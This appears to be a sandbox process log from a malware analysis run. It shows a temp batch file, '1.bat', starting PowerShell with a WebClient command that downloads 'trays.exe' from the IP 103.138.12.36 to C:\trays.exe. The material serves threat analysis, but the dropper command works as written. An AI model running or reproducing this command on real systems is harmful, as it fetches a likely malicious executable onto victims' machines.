cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "RoZi" C:\Users\test22\AppData\Local\Temp\1.bat
2564cmd.exe cmd.exe /c echo powershell -Command "(new-object System.Net.WebClient).DownloadFile('http://103.138.12.36/trays.exe', 'C:\trays.exe')"
2748powershell.exe powershell -Command "(new-object System.Net.WebClient).DownloadFile('http://103.138.12.36/trays.exe', 'C:\trays.exe')"
2804